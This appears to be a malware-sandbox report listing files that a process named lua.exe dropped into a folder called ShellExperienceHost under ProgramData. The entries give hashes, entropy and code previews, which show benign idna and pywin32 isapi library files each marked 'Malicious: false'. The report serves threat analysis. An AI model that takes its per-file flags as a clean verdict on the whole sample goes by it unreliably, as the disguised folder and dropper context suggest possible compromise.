SHA1:	200367634C3CE53792BD6C0F4D7D50E6C3C842E2
SHA-256:	47E876F43FBA9AB9C9CDB5F1CA6AD6516EE2654BF2FB6E934306748A3E7B8B85
SHA-512:	3A17968829937792BFEE95F698D5779445CC56FF7541A9851065CDD5F773E4E9B7ABE02309D34B9733FE8DC33E76A582A286988DD3A153D89162BC896CD10160
Malicious:	false
Preview:	from .core import .from .codec import ..def ToASCII(label):. return encode(label)..def ToUnicode(label):. return decode(label)..def nameprep(s):. raise NotImplementedError("IDNA 2008 does not utilise nameprep protocol")..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\core.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11951
Entropy (8bit):	4.538231004550522
Encrypted:	false
SSDEEP:	192:wsSrsaiQc+soprOZsphBtjYVMLAayFr0266Xy5BPsN/Cxya8xtTT:w//bmMLAayFr026M1Nl
MD5:	4C71B8F90036F3A177EE082611E43867
SHA1:	450CE1849FDABF71EAB61455E7A671AA57FA3C66
SHA-256:	8C2A1A2DBDDB036B52FC30F1F4FA46B8D4C46593768C0CC1DFAF5A3FE2076111
SHA-512:	48B1CB5CEE130357141D52BECB3B887661AEB7458EF5E3F9DDC51D0756C5057A34D056D32CE81500073B21001FB0AFB2EDE72DF243955C8E9B1118AF5779CC83
Malicious:	false
Preview:	from . import idnadata.import bisect.import unicodedata.import re.import sys.from .intranges import intranges_contain.._virama_combining_class = 9._alabel_prefix = b'xn--'._unicode_dots_re = re.compile(u'[\u002e\u3002\uff0e\uff61]')..if sys.version_info[0] >= 3:. unicode = str. unichr = chr..class IDNAError(UnicodeError):. """ Base exception for all IDNA-encoding related problems """. pass...class IDNABidiError(IDNAError):. """ Exception when bidirectional requirements are not satisfied """. pass...class InvalidCodepoint(IDNAError):. """ Exception when a disallowed or unallocated codepoint is used """. pass...class InvalidCodepointContext(IDNAError):. """ Exception when the codepoint is not valid in the context it is used """. pass...def _combining_class(cp):. v = unicodedata.combining(unichr(cp)). if v == 0:. if not unicodedata.name(unichr(cp)):. raise ValueError("Unknown character in unicodedata"). return v..def _is_script(cp,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\idnadata.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	42350
Entropy (8bit):	3.4447742689652694
Encrypted:	false
SSDEEP:	768:WSG0YeKOB/AUeBCe9hLl24vLMSoBwv6YIc7:WTOSBCa24L0K
MD5:	1E1B60E5123A4D9BA471DD3F4BEDC4D7
SHA1:	8564A5B66F4CCF419B9390CD0C6A95DEED5FBE05
SHA-256:	826CC5C195A3766B3790A67F33FBF0CFBF8B3FF4828187D2784D37076D50A6C9
SHA-512:	375481E94FBD3176EE8A44683EF1F27812173AA75DEC97D69638577B6727D4413DDA0E85CDD28C7D38DA7A22386A9FBBE2C67227D7410E5243E8281F731C6894
Malicious:	false
Preview:	# This file is automatically generated by tools/idna-data..__version__ = "13.0.0".scripts = {. 'Greek': (. 0x37000000374,. 0x37500000378,. 0x37a0000037e,. 0x37f00000380,. 0x38400000385,. 0x38600000387,. 0x3880000038b,. 0x38c0000038d,. 0x38e000003a2,. 0x3a3000003e2,. 0x3f000000400,. 0x1d2600001d2b,. 0x1d5d00001d62,. 0x1d6600001d6b,. 0x1dbf00001dc0,. 0x1f0000001f16,. 0x1f1800001f1e,. 0x1f2000001f46,. 0x1f4800001f4e,. 0x1f5000001f58,. 0x1f5900001f5a,. 0x1f5b00001f5c,. 0x1f5d00001f5e,. 0x1f5f00001f7e,. 0x1f8000001fb5,. 0x1fb600001fc5,. 0x1fc600001fd4,. 0x1fd600001fdc,. 0x1fdd00001ff0,. 0x1ff200001ff5,. 0x1ff600001fff,. 0x212600002127,. 0xab650000ab66,. 0x101400001018f,. 0x101a0000101a1,. 0x1d2000001d246,. ),. 'Han': (. 0x2e800

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\intranges.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	4.485549268238478
Encrypted:	false
SSDEEP:	48:wic7vy/ORhzgnc9SbrMvypoHvJgCbHmSXikyXP:pcvYcUk0oHRgCbHmOPy/
MD5:	5D37B041D01AEFD92CCAC0BFF286A7C9
SHA1:	8F1C8EDAD0338F65DACE85A9B68EA469C858427B
SHA-256:	4D8D65A7164841610FEAD36A8D9905039860A0C58E8F53819A7506F22853F3B1
SHA-512:	9B846B609E1843A14F35FE00012FC8FA6557EEBFBD9E04B3B3844CFDEB29CDC5FFE367A57E3890B36DD8BE8E9D8B8136318AC99A6BD8892665721857CAC66BA8
Malicious:	false
Preview:	""".Given a list of integers, made up of (hopefully) a small number of long runs.of consecutive integers, compute a representation of the form.((start1, end1), (start2, end2) ...). Then answer the question "was x present.in the original list?" in time O(log(# runs)).."""..import bisect..def intranges_from_list(list_):. """Represent a list of integers as a sequence of ranges:. ((start_0, end_0), (start_1, end_1), ...), such that the original. integers are exactly those x such that start_i <= x < end_i for some i... Ranges are encoded as single integers (start << 32 \| end), not as tuples.. """.. sorted_list = sorted(list_). ranges = []. last_write = -1. for i in range(len(sorted_list)):. if i+1 < len(sorted_list):. if sorted_list[i] == sorted_list[i+1]-1:. continue. current_range = sorted_list[last_write+1:i+1]. ranges.append(_encode_range(current_range[0], current_range[-1] + 1)). last_write = i.. return

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\package_data.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.8230679822736597
Encrypted:	false
SSDEEP:	3:cvaQOn:8aQO
MD5:	1A56C43E488B6AA863596FB0086B01B7
SHA1:	AB8451205DA5621D19BB54C983BD12BB23802A24
SHA-256:	6F1063A4B9C4D3AFF58D260A132E6CBCE32ED7333738CCED5D551BD6D3E5729D
SHA-512:	62094688F71E4092D7BA090B4ADA1364C5263619050861AFD29ADB1074B7D9E838DAF7EFE93A4D6FB328B2F90C977CF338E9EC25A9197E87D9B3A5F86F4E7B3B
Malicious:	false
Preview:	__version__ = '2.10'..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\uts46data.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	202084
Entropy (8bit):	4.473429434416405
Encrypted:	false
SSDEEP:	3072:0K3n8iZKA6RxVW5saEIK801+xXRoROX09t:QLxepEb801UXRoAX0/
MD5:	783E04A79BB43145731B33A3372F4E05
SHA1:	823194E21B8ED155CE661CDA98A012535AF36A97
SHA-256:	94C770DB3763907D495165CF3C47C5512613DC5CA3EB46C199F2EFBF2E66EE4A
SHA-512:	5F8D73C93047FFCA7BEB45FC51DD87D5ADFE38CB309CA15FB25CF1AC5CC63C1D6F5379190F270DCE3E0294D01E7079FDC2AC02FF2A432615C139F46206D28A4B
Malicious:	false
Preview:	# This file is automatically generated by tools/idna-data.# vim: set fileencoding=utf-8 :.."""IDNA Mapping Table from UTS46."""...__version__ = "13.0.0".def _seg_0():. return [. (0x0, '3'),. (0x1, '3'),. (0x2, '3'),. (0x3, '3'),. (0x4, '3'),. (0x5, '3'),. (0x6, '3'),. (0x7, '3'),. (0x8, '3'),. (0x9, '3'),. (0xA, '3'),. (0xB, '3'),. (0xC, '3'),. (0xD, '3'),. (0xE, '3'),. (0xF, '3'),. (0x10, '3'),. (0x11, '3'),. (0x12, '3'),. (0x13, '3'),. (0x14, '3'),. (0x15, '3'),. (0x16, '3'),. (0x17, '3'),. (0x18, '3'),. (0x19, '3'),. (0x1A, '3'),. (0x1B, '3'),. (0x1C, '3'),. (0x1D, '3'),. (0x1E, '3'),. (0x1F, '3'),. (0x20, '3'),. (0x21, '3'),. (0x22, '3'),. (0x23, '3'),. (0x24, '3'),. (0x25, '3'),. (0x26, '3'),. (0x27, '3'),. (0x28, '3'),. (0x29, '3'),. (0x2A, '3'),. (0x2B, '3'),. (0x2C, '3'),. (0x2D, 'V'),. (0x2E, 'V'),. (0x2F, '3'),. (0x30, 'V'),.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\PyISAPI_loader.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	6.179697726720696
Encrypted:	false
SSDEEP:	1536:5CHaKZo7aggSU7bnYMkikAPK523zVn14:Q6u+aggSU7bzk0K523zVn1
MD5:	6C56000FF5E4342C4D904D90720F5B6A
SHA1:	7CF02EFD6911FDE56DB9DED8E872DC044225B559
SHA-256:	9868A32FF774E1B3733F02AAEFA813ABF253B2BBB3CB8D25EBF54C484A69D97B
SHA-512:	B31D5867091B2D6980119C1A511E0708CEB4F9EC37D72C37BDBF713DC17D312AB472F393D296DEB94B9B0164190310A608649B8368AC61C6A23EACB8E0D91C24
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<e.x...x...x...q\|..r...CZ..z....K.y...CZ..z...CZ..h...CZ..s..._..z....f..}...x........Z..~....Z..y....Zs.y....Z..y...Richx...........PE..L....\._...........!.....n...V.......p............8.......................................@........................................................................ ...T...........................x...@............................................text....m.......n.................. ..`.rdata...3.......4...r..............@..@.data...............................@....gfids..L...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\README.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	4.863721501858572
Encrypted:	false
SSDEEP:	6:MWNQ9OXffZSu395fJzKhFdUTmL+1TT+KjDhVJeAFiS0JWnB:MWy9OX/N9Z3T1TT+KRneAprnB
MD5:	7F3958AD30B12EC2130CBC7334AB2359
SHA1:	A6CF6266815D7C5FCD1449090F9CF3024F430107
SHA-256:	D08B643F4D500E174BA1BB17D9AB2485930957CC0168F14C8D05666FB8C3F550
SHA-512:	EBB95B6DFB9FFDD26CAF68F8C000BF8268B8BC7B843944303DAF7A85EC1936ECB17584FC846068E464826A5A4B123A623D8B67075A96FE224AE7BF26B500A7D0
Malicious:	false
Preview:	A Python ISAPI extension. Contributed by Phillip Frantz, and is.Copyright 2002-2003 by Blackdog Software Pty Ltd...See the 'samples' directory, and particularly samples\README.txt..You can find documentation in the PyWin32.chm file that comes with pywin32 - .you can open this from Pythonwin->Help, or from the start menu.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	4.463104277211742
Encrypted:	false
SSDEEP:	24:RlwjxtACqdad/YACPPNiwoKtTWZNc5b8WqAuvKMJbK:R6jxtjzCjPw4TOQb8XAnkbK
MD5:	ACF9725E16F897ECBD05857447B6C317
SHA1:	4B24BA520777CB0077C713CB7D508DFEA8B6723B
SHA-256:	BEC16D273C30E27C77B30A0F5C28D0656028E956C5C4A3FB44A58F1C89F52820
SHA-512:	FE10BBB951EF1EF4A4B65F1368B4EDD1702D8506FD71B04FC2773E725A279108D1E93F323C0514B8F7DC411A9636A0F4B67CA1D86CF895200846BA769FD08163
Malicious:	false
Preview:	# The Python ISAPI package...# Exceptions thrown by the DLL framework..class ISAPIError(Exception):. def __init__(self, errno, strerror = None, funcname = None):. # named attributes match IOError etc.. self.errno = errno. self.strerror = strerror. self.funcname = funcname. Exception.__init__(self, errno, strerror, funcname). def __str__(self):. if self.strerror is None:. try:. import win32api. self.strerror = win32api.FormatMessage(self.errno).strip(). except:. self.strerror = "no error message is available". # str() looks like a win32api error.. return str( (self.errno, self.strerror, self.funcname) ). .class FilterError(ISAPIError):. pass. .class ExtensionError(ISAPIError):. pass..# A little development aid - a filter or extension callback function can.# raise one of these exceptions, and the handler module will be reloaded..# This means you

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\doc\isapi.html Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4160
Entropy (8bit):	4.872533696011899
Encrypted:	false
SSDEEP:	96:6AJQczz0jdpALt4DVI6HVt6Lu90PYC7drlFDeiI97qqUFXB6wpe3f04p:6hLVt6NQCxiihXMwcv04p
MD5:	F7697BC2AEAE59A9BEDFABD3192E80FF
SHA1:	BB4B1E7F5F7626F2F3DC2490931355658A6212D9
SHA-256:	0B67CC1EF06CCFD881C29DA61C775C52B634C7BCA1EAB5B19AC2A1685B0164EE
SHA-512:	06C654ED9EEE02BE94ED3FE7BB10E22A878EFCDE089916DECE2B4A305A27E7CC26FD743C31F43038AE87AB7AD1F93848E5499DF4AEC85254651833384AE585A1
Malicious:	false
Preview:	NOTE: This HTML is displayed inside the CHM file - hence some hrefs. will only work in that environment.-->.<HTML>.<BODY>.<TITLE>Introduction to Python ISAPI support</TITLE>..<h2>Introduction to Python ISAPI support</h2>..<h3>See also</h3>.<ul>. <li><a href="/isapi_modules.html">The isapi related modules</a>. </li>. <li><a href="/isapi_objects.html">The isapi related objects</a>. </li>.</ul>.<p><i>Note: if you are viewing this documentation directly from disk, .most links in this document will fail - you can also find this document in the.CHM file that comes with pywin32, where the links will work</i>..<h3>Introduction</h3>.This documents Python support for hosting ISAPI exensions and filters inside.Microsoft Internet Information Server (IIS). It assumes a basic understanding .of the ISAPI filter and extension mechanism..<p>.In summary, to implement a filter or extension, you provide a Python module.which defines a Filter and/or Extension class. Once your class ha

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\install.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	27608
Entropy (8bit):	4.786186280763216
Encrypted:	false
SSDEEP:	384:hitQo34uXFRRjkpsYNWN3x47DcYZgjMIvc41tRNMnkZ3HT0m3XhK57Vk9ujazmgl:hitQk4uENZgntRVnhK57N78
MD5:	CB914FC76D6C596E57AD4088FDD9799C
SHA1:	05EDFA989B79BDA709343172A876D6588E5B4C85
SHA-256:	813A9BFE5A520C3416BFC79C6FA02534272EC35AC15474A3531D5242010D8E83
SHA-512:	4C266E9FF9553626C279F3543DA7F97C8F72C99114AE7490C1EB61FAB75097523ADB755506A17B05A18FD2C57E20091EE33DA6DA7B28EAFD0E261DC7198274CA
Malicious:	false
Preview:	"""Installation utilities for Python ISAPI filters and extensions."""..# this code adapted from "Tomcat JK2 ISAPI redirector", part of Apache.# Created July 2004, Mark Hammond..import sys, os, imp, shutil, stat.import operator.from win32com.client import GetObject, Dispatch.from win32com.client.gencache import EnsureModule, EnsureDispatch.import win32api.import pythoncom.import winerror.import traceback.._APP_INPROC = 0._APP_OUTPROC = 1._APP_POOLED = 2._IIS_OBJECT = "IIS://LocalHost/W3SVC"._IIS_SERVER = "IIsWebServer"._IIS_WEBDIR = "IIsWebDirectory"._IIS_WEBVIRTUALDIR = "IIsWebVirtualDir"._IIS_FILTERS = "IIsFilters"._IIS_FILTER = "IIsFilter".._DEFAULT_SERVER_NAME = "Default Web Site"._DEFAULT_HEADERS = "X-Powered-By: Python"._DEFAULT_PROTECTION = _APP_POOLED..# Default is for 'execute' only access - ie, only the extension.# can be used. This can be overridden via your install script.._DEFAULT_ACCESS_EXECUTE = True._DEFAULT_ACCESS_READ = False._DEFAULT_ACCESS_WRITE = False.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\isapicon.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5221
Entropy (8bit):	4.586698580222028
Encrypted:	false
SSDEEP:	96:1qq1D+crfezmVTkZe+Cf38CzLF6P1CHpkczPhott49ssttgz8RKD338i:Z6crfoyAtCJVzPhoofRKDnx
MD5:	0037FFB92A2A1736A145937A56CBAE85
SHA1:	3F9800478B30229EB01CB5819C52A2C9C3DE21FC
SHA-256:	C08F29B178F6919DF4B133602D35D3582A9A6785723619EF59C8E0F2FFA3F05E
SHA-512:	276F85E1143B9E3194F99E5D0CA0F4A2978D92BAA81EE8B8BC6BD550D8E899F46BA11EDBCC478BD801113E686F58A24BC21E5822FE768642DD65855BB8714165
Malicious:	false
Preview:	"""Constants needed by ISAPI filters and extensions.""".# ======================================================================.# Copyright 2002-2003 by Blackdog Software Pty Ltd..# .# All Rights Reserved.# .# Permission to use, copy, modify, and distribute this software and.# its documentation for any purpose and without fee is hereby.# granted, provided that the above copyright notice appear in all.# copies and that both that copyright notice and this permission.# notice appear in supporting documentation, and that the name of .# Blackdog Software not be used in advertising or publicity pertaining to.# distribution of the software without specific, written prior.# permission..# .# BLACKDOG SOFTWARE DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,.# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN.# NO EVENT SHALL BLACKDOG SOFTWARE BE LIABLE FOR ANY SPECIAL, INDIRECT OR.# CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER R

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\README.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1007
Entropy (8bit):	4.529291573878237
Encrypted:	false
SSDEEP:	24:lfQBJNHeeziBykvMQFsuoWg6k2MiXYzRpc2LwNlr8ZMzoX:iNHeeoyklF1oXr0Y19GlIZMc
MD5:	862443836E56F3162633B7D1C10A3CDF
SHA1:	A3E6090FE621057F32FBC1C6E12C9CB123348FAA
SHA-256:	C47BE454FB2E9736FC6FECAB31656A3999991423D534ED7DA86B6078DFC9241E
SHA-512:	BE461DB5FEE96EECB4B11C70D993C3006B1DB768CE27D109DE027F8BF587FEB71EEC017EE650268F6C5C32D5D45D5ABB20B2386EDE5E6BD1A9408CA6F9ADEE54
Malicious:	false
Preview:	In this directory you will find examples of ISAPI filters and extensions...The filter loading mechanism works like this:.* IIS loads the special Python "loader" DLL. This DLL will generally have a . leading underscore as part of its name..* This loader DLL looks for a Python module, by removing the first letter of. the DLL base name.. .This means that an ISAPI extension module consists of 2 key files - the loader.DLL (eg, "_MyIISModule.dll", and a Python module (which for this example.would be "MyIISModule.py")..When you install an ISAPI extension, the installation code checks to see if.there is a loader DLL for your implementation file - if one does not exist, .or the standard loader is different, it is copied and renamed accordingly...We use this mechanism to provide the maximum separation between different.Python extensions installed on the same server - otherwise filter order and.other tricky IIS semantics would need to be replicated. Also, each filter.gets its own thread-pool

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\advanced.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8100
Entropy (8bit):	4.629404307496681
Encrypted:	false
SSDEEP:	192:eBcnH7yzvwWyrS9kza4VKTVaKqS2pCqzfw/xCQU30dYs/O:eanH7bXrS9kUcnS248wEkY0O
MD5:	A9C5BED78B7897ED78F66CDB54659AB5
SHA1:	4D6FF66FE41C876D33E257883E2BCAFC280889EA
SHA-256:	19D802BD6415099DD1AAFA75D5F12265A295ED97AA6874EBB6770820CDA3A87B
SHA-512:	E72DF5F3AD0E45E1A029219A64468229BF9BA0BC3A7C37CE5E4312CF11788F47A957EC9C1634AA59B1E4A7D6FD6092CDA4C066177439013DC5536AAD20669CF9
Malicious:	false
Preview:	# This extension demonstrates some advanced features of the Python ISAPI.# framework..# We demonstrate:.# * Reloading your Python module without shutting down IIS (eg, when your.# .py implementation file changes.).# * Custom command-line handling - both additional options and commands..# * Using a query string - any part of the URL after a '?' is assumed to.# be "variable names" separated by '&' - we will print the values of.# these server variables..# * If the tail portion of the URL is "ReportUnhealthy", IIS will be.# notified we are unhealthy via a HSE_REQ_REPORT_UNHEALTHY request..# Whether this is acted upon depends on if the IIS health-checking.# tools are installed, but you should always see the reason written.# to the Windows event log - see the IIS documentation for more...from isapi import isapicon.from isapi.simple import SimpleExtension.import sys, os, stat..if hasattr(sys, "isapidllhandle"):. import win32traceutil..# Notes on reloading.# If your HttpFilter

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\redirector.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4719
Entropy (8bit):	4.711818624138941
Encrypted:	false
SSDEEP:	96:sG5aXNz069zFbBxRHumKH7A2OZFcnGAQcWQYuAfQJi:sGAXNz0q191KbA2OZUQdYs9
MD5:	533B76E269EB28923D5E54AA48CA1F9E
SHA1:	7535D36F0B4F40774E3B053F5C7219EBB38EA1C9
SHA-256:	F71E11CB21CBF5DDC31AE6EB376B8C70842485D8622C02C62782527F3AE155DD
SHA-512:	90F5AFEFEC6CB907A839AD37153ADA825E18854BF8DB3215552F779C2B2608F03345C0D501B4FF57C4CB56C5C4F2D43F10418F6B32A076A644219294828813C1
Malicious:	false
Preview:	# This is a sample ISAPI extension written in Python..#.# Please see README.txt in this directory, and specifically the.# information about the "loader" DLL - installing this sample will create.# "_redirector.dll" in the current directory. The readme explains this...# Executing this script (or any server config script) will install the extension.# into your web server. As the server executes, the PyISAPI framework will load.# this module and create your Extension and Filter objects...# This is the simplest possible redirector (or proxy) we can write. The.# extension installs with a mask of '*' in the root of the site..# As an added bonus though, we optionally show how, on IIS6 and later, we.# can use HSE_ERQ_EXEC_URL to ignore certain requests - in IIS5 and earlier.# we can only do this with an ISAPI filter - see redirector_with_filter for.# an example. If this sample is run on IIS5 or earlier it simply ignores.# any excludes...from isapi import isapicon, threaded_extension.import s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\redirector_asynch.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2819
Entropy (8bit):	4.754712995623234
Encrypted:	false
SSDEEP:	48:r2mvHLf9aeJPLBZuATZhOcxerrnx8AHu/V1YKGaJxOoE8xDMczaQYuAfQ5s+nob:rVfr9ziATZpxerrxRHugBaJN5QcWQYua
MD5:	466B8504C8B41F04FA33CCBA554ACC0C
SHA1:	F827645BE8E4EA96630F8F7440BF6482BEA7C066
SHA-256:	DE7656B98AFD7C91449AADA5EF3E0CC6E0B21686B99F0E4903AA6AF0F3B2E8C6
SHA-512:	0085BCC733D84D9B789932CC2D138379077EB925338802F906AF5F7034204A2019604B68502822E0BF7E723F5F440671A1F7789AA56349D4B3F015B9F446DFAC
Malicious:	false
Preview:	# This is a sample ISAPI extension written in Python...# This is like the other 'redirector' samples, but uses asnch IO when writing.# back to the client (it does not use asynch io talking to the remote.# server!)..from isapi import isapicon, threaded_extension.import sys.import traceback.import urllib.request, urllib.parse, urllib.error..# sys.isapidllhandle will exist when we are loaded by the IIS framework..# In this case we redirect our output to the win32traceutil collector..if hasattr(sys, "isapidllhandle"):. import win32traceutil..# The site we are proxying..proxy = "http://www.python.org"..# We synchronously read chunks of this size then asynchronously write them..CHUNK_SIZE=8192..# The callback made when IIS completes the asynch write..def io_callback(ecb, fp, cbIO, errcode):. print("IO callback", ecb, fp, cbIO, errcode). chunk = fp.read(CHUNK_SIZE). if chunk:. ecb.WriteClient(chunk, isapicon.HSE_IO_ASYNC). # and wait for the next callback to say th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\redirector_with_filter.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6630
Entropy (8bit):	4.65241475426086
Encrypted:	false
SSDEEP:	192:XGHkDjoBEpCV1KYL/aPzZgI+gqehDCWUPB2qo7rIYs4c:XGED0BEpCvxL/ar0Be+B/Yhc
MD5:	A7931D3297957FA4DAC965B65687D40C
SHA1:	BE91FB3C2E694D45C85F5EE3AEEEC85DCFC36525
SHA-256:	F10954ACD8EB5EDA0B254D5CAF668BADEF72453DEFC8358E3FA18FE171549AD3
SHA-512:	2A1D9182DD05CD15DD4F8487631FB9C8CD74A01D5DE4EC0843F1837DC77D04A973C09CBD0F6113F709DFF33A0B3A36C2C593C0DDEC21E43B933EC99F8DE75689
Malicious:	false
Preview:	# This is a sample configuration file for an ISAPI filter and extension.# written in Python..#.# Please see README.txt in this directory, and specifically the.# information about the "loader" DLL - installing this sample will create.# "_redirector_with_filter.dll" in the current directory. The readme explains.# this...# Executing this script (or any server config script) will install the extension.# into your web server. As the server executes, the PyISAPI framework will load.# this module and create your Extension and Filter objects...# This sample provides sample redirector:.# It is implemented by a filter and an extension, so that some requests can.# be ignored. Compare with 'redirector_simple' which avoids the filter, but.# is unable to selectively ignore certain requests..# The process is sample uses is:.# * The filter is installed globally, as all filters are..# * A Virtual Directory named "python" is setup. This dir has our ISAPI.# extension as the only application, mapped

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\test.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6315
Entropy (8bit):	4.529256776383225
Encrypted:	false
SSDEEP:	96:IsLNScJx5KY9EbV5qVE4G0p8K3aSz33q4maQFzCHzuWwKcrQU30H9QYuAfQLgvAO:IsRRVKTyaKqSDuzCHzfw/rQU30dYsUO
MD5:	64D7A11DC1815976199355BBFF18836A
SHA1:	006CBAA9AF25CC510D0712552F699730F4C2834C
SHA-256:	FEBB4C09F9AB898803028991DFB0F5BD117AD4EB14BDB421258F1821DA714592
SHA-512:	99A7CA0D95219F04E8605262A036DBEC13413B03EDE21EA1021F2ED6B0C66B09A6887398F389F5F03F264E5D2F5B5834F53E09DF12933DC688DEA982B073C904
Malicious:	false
Preview:	# This extension is used mainly for testing purposes - it is not.# designed to be a simple sample, but instead is a hotch-potch of things.# that attempts to exercise the framework...from isapi import isapicon.from isapi.simple import SimpleExtension.import sys, os, stat..if hasattr(sys, "isapidllhandle"):. import win32traceutil..# We use the same reload support as 'advanced.py' demonstrates..from isapi import InternalReloadException.import win32event, win32file, winerror, win32con, threading..# A watcher thread that checks for __file__ changing..# When it detects it, it simply sets "change_detected" to true..class ReloadWatcherThread(threading.Thread):. def __init__(self):. self.change_detected = False. self.filename = __file__. if self.filename.endswith("c") or self.filename.endswith("o"):. self.filename = self.filename[:-1]. self.handle = win32file.FindFirstChangeNotification(. os.path.dirname(self.filename),.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\simple.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2490
Entropy (8bit):	4.3916907940812795
Encrypted:	false
SSDEEP:	48:p2C72ZAC3m465Eu/4adcj961wkQZHm465XnLVPM66G4YS961NF:pPC3oEBj+wkWHoXLBaaS+NF
MD5:	CF7E9175662D34C2584F56DDEC4CFC73
SHA1:	EB66D8A7D796394A71DF38E0C0AC91DDABA6B4EA
SHA-256:	19603CD536D81653A48AE1E53CB4626BB98ABC0CBC78A7F358FA32DE9304A03C
SHA-512:	49F0C71DBFE929F71D36D4EAF1D8F4266774010C75B15042AB6E680E051653F2B84F9220C0116BE8F04EE58D93C459201866A518B4AC172A841AB39D34385F36
Malicious:	false
Preview:	"""Simple base-classes for extensions and filters...None of the filter and extension functions are considered 'optional' by the.framework. These base-classes provide simple implementations for the.Initialize and Terminate functions, allowing you to omit them,..It is not necessary to use these base-classes - but if you don't, you.must ensure each of the required methods are implemented.."""..class SimpleExtension:. "Base class for a simple ISAPI extension". def __init__(self):. pass.. def GetExtensionVersion(self, vi):. """Called by the ISAPI framework to get the extension version. . The default implementation uses the classes docstring to. set the extension description.""". # nod to our reload capability - vi is None when we are reloaded.. if vi is not None:. vi.ExtensionDesc = self.__doc__.. def HttpExtensionProc(self, control_block):. """Called by the ISAPI framework for each extension request.. .

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\README.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.312082029380059
Encrypted:	false
SSDEEP:	3:hMCESHQzFUl2kyLEI3KXmv2X7AINfAEeAvEHVJKBmJn:huSHQzDkywI3KXm47AINf+WmJn
MD5:	373DBA22E181540278BB56E9050BB0C2
SHA1:	D9BE10C58C89360D7100E763BE060A3DAAD5FC80
SHA-256:	D20657ECFB4483C745C06CC3554A853A002F86FA393538D5C08795A53BE13587
SHA-512:	BE7017875FDA7839C79B2F963EFDEE3B18465604906F707CC601F12C9B026CFE8FD1BD0F8852011236045D073E95E80DF4775A7FA31B0BABD170966602669AF8
Malicious:	false
Preview:	This is a directory for tests of the PyISAPI framework...For demos, please see the pyisapi 'samples' directory.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\extension_simple.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4480
Entropy (8bit):	4.664830808555661
Encrypted:	false
SSDEEP:	96:aQJY3CLzWzQHukYlUdIIPi4uH+OYMRQ6cWQYuAfQMi:aQUfuLYlUeIPi4ueOYA/dYsM
MD5:	4BDF26B2215F409A4D27163E44FA56C5
SHA1:	C59F85484D5BB57BD86EF35546332DF10492EA8A
SHA-256:	DC9500CB2191B4477F4DDBF6CADDAF701A377264A67EFA6A59C20005D987FCE6
SHA-512:	7C0FA5EC1EFCBDBC8F201B1F5511B6C37A21FFFC495D98E8B03D599C75C8FB9F12A01AECB5D8EE7239E11B42FBA8803739F6C9AE76637DA0C962317EF918BF2A
Malicious:	false
